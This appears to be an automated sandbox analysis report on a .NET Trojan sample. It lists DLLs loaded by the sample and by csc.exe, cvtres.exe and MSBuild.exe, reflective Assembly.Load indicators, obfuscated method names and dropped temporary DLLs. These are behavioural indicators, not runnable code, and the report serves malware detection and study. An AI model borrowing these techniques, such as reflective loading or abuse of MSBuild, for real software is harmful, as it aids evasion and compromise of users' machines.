Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: avifil32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: pstorec.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll

Source: 0.2.SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe.47a1cb8.4.raw.unpack, ManagesModules.cs	.Net Code: DataModule System.Reflection.Assembly.Load(byte[])
Source: 0.2.SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe.5020000.6.raw.unpack, ManagesModules.cs	.Net Code: DataModule System.Reflection.Assembly.Load(byte[])
Source: d4fn51mh.dll.2.dr, ManagesModules.cs	.Net Code: DataModule System.Reflection.Assembly.Load(byte[])
Source: k41v4obh.dll.15.dr, ManagesModules.cs	.Net Code: DataModule System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Code function: 0_2_00D0042D push esi; retf	0_2_00D0044A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Code function: 0_2_00D00D99 push esi; retf	0_2_00D00DA6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_031FAA30 push ecx; mov dword ptr [esp], eax	12_2_031FAA31
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0306290C push ecx; mov dword ptr [esp], ecx	12_2_03062910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0340EF28 push 0340EFB2h; ret	12_2_0340EFAA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_031F7E4C push ecx; mov dword ptr [esp], eax	12_2_031F7E4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_03063ED4 push ecx; mov dword ptr [esp], ecx	12_2_03063ED7

Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, nEzuSqLtIcboJGcwzsk.cs	High entropy of concatenated method names: 'wFnRLsIvXmRzmsyyaRFN', 'UvuMmYHysDcPh', 'dicnspQfWXmWldkDduZshGWM', 'ltyhTQHbdBlKfRRH', 'BXQwXrhnTOzCxjpcYtuVmz', 'jduxOoRrMPKJvZgc', 'AeCyvFnPmOzk', 'ItciQAnaJhDvqPWMp', 'bOGNcAFflWKRnUgc', 'JTrdjisnAnTqaXftiRbPGIBk'
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, wYbVIbbnjZkpFebV.cs	High entropy of concatenated method names: 'oGhIOmIyNKRIaGSAuQRhDoxaXvihC', 'hiXHxBzUVWYZN', 'CqqjmKkqxWGvWhaR', 'OeeCxLPmwSYhSeWBffhvRxW', 'xPjqchntCXjIykQZUGAUNvmSJYgbO', 'OCiutfkGzjvMhNehNNKSVk', 'MdwjMGWVUnR', 'vthUTBiNinuUT', 'cJqiDorZCMEYUXLfnTwoeqJzPaEz', 'dzrVuDKnNoEoICuyLV'
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, YZycWpdnWhfDrsvK.cs	High entropy of concatenated method names: 'NnrgmGDpsWtNNAMzbGaXLDeH', 'HvaKJjbMZll', 'tJKXreDyUebOa', 'LymjVJizdbnJSLHdFyVbXsSipQYQ', 'ZSgEtFkSxuwqhq', 'rcpKaiYpVzPnPrQnk', 'plptRPrpZhhtw', 'GVDTUQrrFyiCIYdr', 'hygsHjYiJzydaZxqnRomJOyWl', 'gkgldymFpvPUbnyaGBVlguqunkw'
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, WnRKeUuIvBmEfrUYxspUXK.cs	High entropy of concatenated method names: 'nqErrsoBeECuupMEGspICHXYcGK', 'icPpXrokPyBYst', 'yvVQIroxoPSuyaxKxzlbJKSEy', 'XhyyIiTyXaMNAgQrOSY', 'jCmzvipWAydJvWIbXnWS', 'dukLfTZvLt', 'YiCrYKfEcUFHZmteJezzGlyssx', 'ADdWIgRlpfcvuvAT', 'LWgUkMjOBOgrbbJTn', 'TtTciKbeONSslanHGCza'

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\rndl5vbf.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\k41v4obh.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\d4fn51mh\d4fn51mh.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\qufgb3bi\qufgb3bi.dll	Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
